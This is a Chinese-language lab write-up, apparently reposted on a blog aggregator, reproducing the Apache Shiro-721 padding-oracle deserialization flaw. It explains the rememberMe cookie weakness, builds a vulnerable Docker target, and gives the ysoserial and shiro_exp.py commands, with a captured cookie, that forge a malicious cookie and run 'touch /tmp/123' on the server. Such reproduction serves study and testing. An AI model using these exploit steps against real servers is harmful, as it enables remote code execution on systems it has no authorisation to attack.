Shiro-721---漏洞复现

这篇具有很好参考价值的文章主要介绍了Shiro-721---漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。

shiro-721对cookie中rememberMe的值的解析过程

Shiro-721---漏洞复现

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

docker环境搭建

方法一:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

方法二:

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

漏洞复现

先使用合法账户登陆,记得勾选remember Me,然后使用burp抓包获取cookie:
Shiro-721---漏洞复现
获取到cookie:
Shiro-721---漏洞复现
将其中的remember Me字段复制下来输入到工具中进行利用:

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
#"touch /tmp/123" 在tmp目录写入123

使用工具生成payload

脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py
http://192.168.88.130:8080 [rememberMeCookie] payload.class

python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class

Shiro-721---漏洞复现

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

Shiro-721---漏洞复现

最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

Shiro-721---漏洞复现

漏洞利用成功!文章来源地址https://www.toymoban.com/news/detail-428910.html

到了这里,关于Shiro-721---漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:Program FilesJava 2.冰蝎 C:UsersaliDesktoptoolsBehinder_v4.0.6 3.shiro反序列化 图形化工具 shiro attack2.2 C:UsersaliDesktoptoolsshiro_attack_2.2 4.shiro反序列化 命令行工具 C:UsersaliDesktoptoolsshiro_tool.jar 一.Shiro-550 CVE-2016-4437 序列化: 在Java中,把Java对象转换为字节序列(

    2023年04月08日
    浏览(39)
  • Shiro 550与721漏洞的不同

    Apache Shiro框架进行登录,服务端在接收cookie时,会经过下面的流程: 1、检索RememberMe Cookie的值 2、Base64解码 3、AES解密(加密密钥硬编码) 4、进行 反序列化 操作(未过滤处理) 5、攻击者可以使用Shiro的 默认密钥构造恶意序列化对象 进行编码来伪造用户的Cookie,服务端反序

    2024年01月17日
    浏览(30)
  • shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后。 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。 shiro550反序列化原理 cve编号:

    2024年02月05日
    浏览(45)
  • Shiro框架漏洞分析与复现

    Shiro简介 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 1、Shiro反序列化漏洞(CVE-2016-4437,Shiro-550)

    2024年02月17日
    浏览(30)
  • shiro漏洞复现及其攻击流量分析

    最近面试时经常被问到,每次说的都不太完美,现在再来复现一边。 Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。 利用vulhub搭建的靶场。 在Apache Shiro = 1.2.4版本中存在反序列化漏洞。 该漏洞成因在于,Shiro的“记住我”功能是设置cookie中的reme

    2024年02月06日
    浏览(24)
  • 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。 一、漏洞描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(29)
  • 漏洞复现 | Apache Shiro 授权绕过漏洞(CVE-2022-32532)

    0x00 漏洞描述         Apache Shiro 是一套用于执行认证、授权、加密和会话管理的 Java 安全框架。2022年06月29日 APache 官方发布了一则关于 Apache Shiro 的安全通告,Apache Shiro 1.9.1 前的版本 RegExPatternMatcher 在使用带有 “.” 的正则时,可能会导致权限绕过。漏洞源于 RegExPatter

    2024年02月02日
    浏览(32)
  • 框架安全-CVE 复现&Apache Shiro&Apache Solr漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Nod

    2024年02月05日
    浏览(41)
  • 框架漏洞-CVE复现-Apache Shiro+Apache Solr

    什么是框架?        就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。          如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于

    2024年02月16日
    浏览(27)
  • shiro漏洞原理以及检测key值原理

    Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 升级shiro版本并不能根本解决反序列化漏洞,代码复用会直

    2024年02月06日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包